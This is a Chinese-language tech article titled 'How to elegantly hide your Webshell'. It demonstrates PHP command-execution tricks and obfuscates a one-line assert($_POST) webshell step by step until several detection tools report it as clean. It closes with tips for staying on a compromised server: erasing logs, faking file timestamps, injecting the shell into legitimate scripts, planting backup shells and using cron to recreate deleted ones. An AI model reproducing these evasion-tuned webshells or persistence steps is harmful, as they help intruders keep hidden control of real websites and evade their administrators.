溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何優(yōu)雅的隱藏你的Webshell

發(fā)布時(shí)間:2021-12-23 10:26:21 來源:億速云 閱讀:136 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章為大家展示了如何優(yōu)雅的隱藏你的Webshell,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

制作免殺webshell

隱藏webshell最主要的就是做免殺,免殺做好了,你可以把webshell放在函數(shù)庫文件中或者在圖片馬中,太多地方可以放了,只要查殺工具查不到,你的這個(gè)webshell就能存活很長時(shí)間,畢竟管理員也沒有那么多精力挨個(gè)代碼去查看。

命令執(zhí)行的方法

這里使用我們最常用的php的一句話馬來給大家做演示,PHP版本是5.6的,在寫一句話馬之前我們來先分析一下PHP執(zhí)行命令方法

1、直接執(zhí)行

使用php函數(shù)直接運(yùn)行命令,常見的函數(shù)有(eval、system、assert)等,可以直接調(diào)用命令執(zhí)行。

@eval('echo 這是輸出;');

如何優(yōu)雅的隱藏你的Webshell

2、動(dòng)態(tài)函數(shù)執(zhí)行

我們先把一個(gè)函數(shù)名當(dāng)成一個(gè)字符串傳遞給一個(gè)變量,在使用變量當(dāng)作函數(shù)去執(zhí)行

$a="phpinfo";$a();

如何優(yōu)雅的隱藏你的Webshell

3、文件包含執(zhí)行

有兩個(gè)php文件,我們把執(zhí)行命令的放在文件b中,使用文件a去包含,達(dá)到執(zhí)行的效果

b.php
<?php
@eval('echo 這是輸出;');

a.php
<?php
include a.php

如何優(yōu)雅的隱藏你的Webshell

4、回調(diào)函數(shù)

將想要執(zhí)行命令的函數(shù)賦值給一個(gè)變量,再用一個(gè)可以調(diào)用函數(shù)執(zhí)行的函數(shù)把變量解析成函數(shù),這么說可能有點(diǎn)繞,看一下array_map函數(shù)的用法:array_map函數(shù)中將$arr每個(gè)元素傳給func函數(shù)去執(zhí)行,例子:

<?php
$func = 'system';
$arr = array('whoami');
array_map($func, $arr);

如何優(yōu)雅的隱藏你的Webshell

5、PHP Curly Syntax

我們可以理解為字符串中摻雜了變量,再使用變量去拼接字符串,達(dá)到命令執(zhí)行的效果

<?php
$a = 'p';
eval("{$a}hpinfo();");

如何優(yōu)雅的隱藏你的Webshell

6、php反序列化

這是根據(jù)php反序列化漏洞來實(shí)現(xiàn)命令執(zhí)行,可以先創(chuàng)建一個(gè)反序列化的漏洞文件,再去調(diào)用反序列化函數(shù)unserialize

<?php

class test{
    public $a="123";
    public function __wakeup(){
        eval($this->a);
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}');

如何優(yōu)雅的隱藏你的Webshell

7、php://input方法

php://input可以訪問請(qǐng)求的原始數(shù)據(jù)的只讀流,我們可以理解為我們傳post參數(shù),php://input會(huì)讀取到,這時(shí)候我們就可以加以利用了

<?php
@eval(file_get_contents('php://input'));

如何優(yōu)雅的隱藏你的Webshell

8、preg_replace方法

preg_replace函數(shù)執(zhí)行一個(gè)正則表達(dá)式的搜索和替換。我們可以使用一個(gè)命令執(zhí)行函數(shù)去替換正常的字符串,然后去執(zhí)行命令

<?php
echo preg_replace("/test/e",phpinfo(),"jutst test");

如何優(yōu)雅的隱藏你的Webshell

9、ob_start

ob_start函數(shù)是打開輸出控制緩沖,傳入的參數(shù)會(huì)在使用ob_end_flush函數(shù)的時(shí)候去調(diào)用它執(zhí)行輸出在緩沖區(qū)的東西

<?php
$cmd = 'system';
ob_start($cmd);
echo "whoami";
ob_end_flush();//輸出全部內(nèi)容到瀏覽器

如何優(yōu)雅的隱藏你的Webshell

編寫免殺

上面說了那么多其實(shí)都是一句話木馬的思路,每一種方式都可以寫成一句話木馬,而想要免殺常常會(huì)多種組合到一起,下面從最簡(jiǎn)單的木馬一步步變形,達(dá)到免殺的目的

assert($_POST['x']);

如何優(yōu)雅的隱藏你的Webshell

這種就是最簡(jiǎn)單的一句話木馬,使用D盾掃一下,可以看到5級(jí),沒有什么好說的

動(dòng)態(tài)函數(shù)方法,把assert這個(gè)函數(shù)賦值兩次變量,再把變量當(dāng)成函數(shù)執(zhí)行

$a = "assert";
$b = $a;
$b($_POST['x']);

如何優(yōu)雅的隱藏你的Webshell

回調(diào)函數(shù)方法,把assert函數(shù)當(dāng)作參數(shù)傳給array_map去調(diào)用執(zhí)行

<?php
$fun = 'assert';
array_map($fun,array($_POST['x']));

如何優(yōu)雅的隱藏你的Webshell

可以看到上面的都是通過兩種方法的結(jié)合,簡(jiǎn)單的處理一下,就變成了4級(jí),感興趣的可以把其他的方法都嘗試一下,4級(jí)的很簡(jiǎn)單,我們?nèi)タ纯?級(jí)的都是怎么處理的

通過上面的動(dòng)態(tài)函數(shù)方法我們可以思考,函數(shù)可以當(dāng)成字符串賦值給變量,那么變量也一定能當(dāng)成字符串賦值給變量,但調(diào)用時(shí)需要用$$

<?php
$a = "assert";
$c ='a';
$$c($_POST['x']);

如何優(yōu)雅的隱藏你的Webshell

我們?cè)诎堰@種方法結(jié)合到回調(diào)函數(shù)方法中,可以看到,已經(jīng)是2級(jí)了

<?php
$fun = 'assert';
$f = 'fun';
array_map($$f,array($_POST['x']));

如何優(yōu)雅的隱藏你的Webshell

這時(shí)候我們看一下D盾中的說明:array_map中的參數(shù)可疑,我們這時(shí)候可以用函數(shù)封裝一下參數(shù)

<?php
function ass(){
    $a = "a451.ass.aaa.ert.adaww";
    $b = explode('.',$a);
    $c = $b[1] . $b[3];
    return $c;
}
$b = array($_POST['x']);
$c = ass();
array_map($c,$b);

如何優(yōu)雅的隱藏你的Webshell

1級(jí)了,離目標(biāo)近在咫尺了,這時(shí)候我們應(yīng)該考慮讓一句話木馬像正常的代碼,在好好的封裝一下

<?php
function downloadFile($url,$x){
    $ary = parse_url($url);
    $file = basename($ary['path']);
    $ext = explode('.',$file);
    // assert
    $exec1=substr($ext[0],3,1);
    $exec2=substr($ext[0],5,1);
    $exec3=substr($ext[0],5,1);
    $exec4=substr($ext[0],4,1);
    $exec5=substr($ext[0],7,2);
    $as[0] = $exec1 . $exec2 . $exec3 . $exec4 . $exec5;
    $as[1] = $x;
    return $as;
}
$a = $_POST['x'];
$s  = downloadFile('http://www.baidu.com/asdaesfrtafga.txt',$a);
$b = $s[0];
$c = $s[1];
array_map($b,array($c));

如何優(yōu)雅的隱藏你的Webshell

再試試其他免殺工具

WebShellKiller:

如何優(yōu)雅的隱藏你的Webshell

安全狗:

如何優(yōu)雅的隱藏你的Webshell

微步云沙箱

如何優(yōu)雅的隱藏你的Webshell

再試試可不可以連接沒有問題,完美!!

如何優(yōu)雅的隱藏你的Webshell

更好的隱藏webshell一些建議

1、拿到權(quán)限以后,把網(wǎng)站日志中的所有關(guān)于webshell的訪問記錄和滲透時(shí)造成的一些網(wǎng)站報(bào)錯(cuò)記錄全部刪除

2、把webshell的屬性時(shí)間改為和同目錄文件相同的時(shí)間戳,比如linux中的touch就是非常好的工具

3、目錄層級(jí)越深越好,平時(shí)網(wǎng)站不出問題的話,一般四五級(jí)目錄很少會(huì)被注意到,盡量藏在那些程序員和管理員都不會(huì)經(jīng)常光顧的目錄中比如:第三方工具的一些插件目錄,主題目錄,編輯器的圖片目錄以及一些臨時(shí)目錄

4、利用php.ini 配置文件隱藏webshell,把webshell的路徑加入到配置文件中

5、嘗試?yán)渺o態(tài)文件隱藏一句話,然后用.htaccess 規(guī)則進(jìn)行解析

6、上傳個(gè)精心構(gòu)造的圖片馬,然后再到另一個(gè)不起眼的正常的網(wǎng)站腳本文件中去包含這個(gè)圖片馬

7、靠譜的方法就是直接把一句話插到正常的網(wǎng)站腳本文件里面,當(dāng)然最好是在一個(gè)不起眼的地方,比如:函數(shù)庫文件,配置文件里面等等,以及那些不需要經(jīng)常改動(dòng)的文件……

8、如果有可能的話,還是審計(jì)下目標(biāo)的代碼,然后想辦法在正常的代碼中構(gòu)造執(zhí)行我們自己的webshell,即在原生代碼中執(zhí)行webshell

9、webshell里面盡量不要用類似eval這種過于敏感的特征,因?yàn)閍wk一句話就能查出來,除了eval,還有,比如:exec,system,passthru,shell_exec,assert這些函數(shù)都最好不要用,你可以嘗試寫個(gè)自定義函數(shù),不僅能在一定程度上延長webshell的存活時(shí)間也加大了管理員的查找難度,也可以躲避一些功能比較簡(jiǎn)陋waf查殺,此外,我們也可以使用一些類似:call_user_func,call_user_func_array,諸如此類的回調(diào)函數(shù)特性來構(gòu)造我們的webshell,即偽造正常的函數(shù)調(diào)用

10、webshell的名字千萬不要太扎眼,比如:hack.php,sb.php,x.php這樣的名字嚴(yán)禁出現(xiàn)……,在給webshell起名的時(shí)候盡量跟當(dāng)前目錄的,其他文件的名字相似度高一點(diǎn),這樣相對(duì)容易混淆視聽,比如:目錄中有個(gè)叫new.php的文件,那你就起個(gè)news.php

11、如果是大馬的話,盡量把里面的一些注釋和作者信息全部都去掉,比如intitle字段中的版本信息等等,用任何大馬之前最好先好好的讀幾遍代碼,把里面的shell箱子地址全部去掉推薦用開源的大馬,然后自己拿過來仔細(xì)修改,記住,我們的webshell盡量不要用加密,因?yàn)榧用懿⒉荒芎芎玫慕鉀Qwaf問題,還有,大馬中一般都會(huì)有個(gè)pass或者password字符,建議把這些敏感字段全部換成別的,因?yàn)槔眠@樣的字符基本一句話就能定位到

12、養(yǎng)成一個(gè)好習(xí)慣,為了防止權(quán)限很快丟失,最好再同時(shí)上傳幾個(gè)備用webshell,注意,每個(gè)webshell的路徑和名字千萬不要都一樣更不要在同一個(gè)目錄下,多跳幾層,記住,確定shell正常訪問就可以了,不用再去嘗試訪問看看解析是否正常,因?yàn)檫@樣就會(huì)在日志中留下記錄,容易被查到

13、當(dāng)然,如果在拿到服務(wù)器權(quán)限以后,也可以自己寫個(gè)腳本每隔一段時(shí)間檢測(cè)下自己的webshell是否還存在,不存在就創(chuàng)建

14、在有權(quán)限的情況,看看管理員是否寫的有動(dòng)態(tài)webshell監(jiān)測(cè)腳本,務(wù)必把腳本找出來,crontab一般都能看見了

上述內(nèi)容就是如何優(yōu)雅的隱藏你的Webshell,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI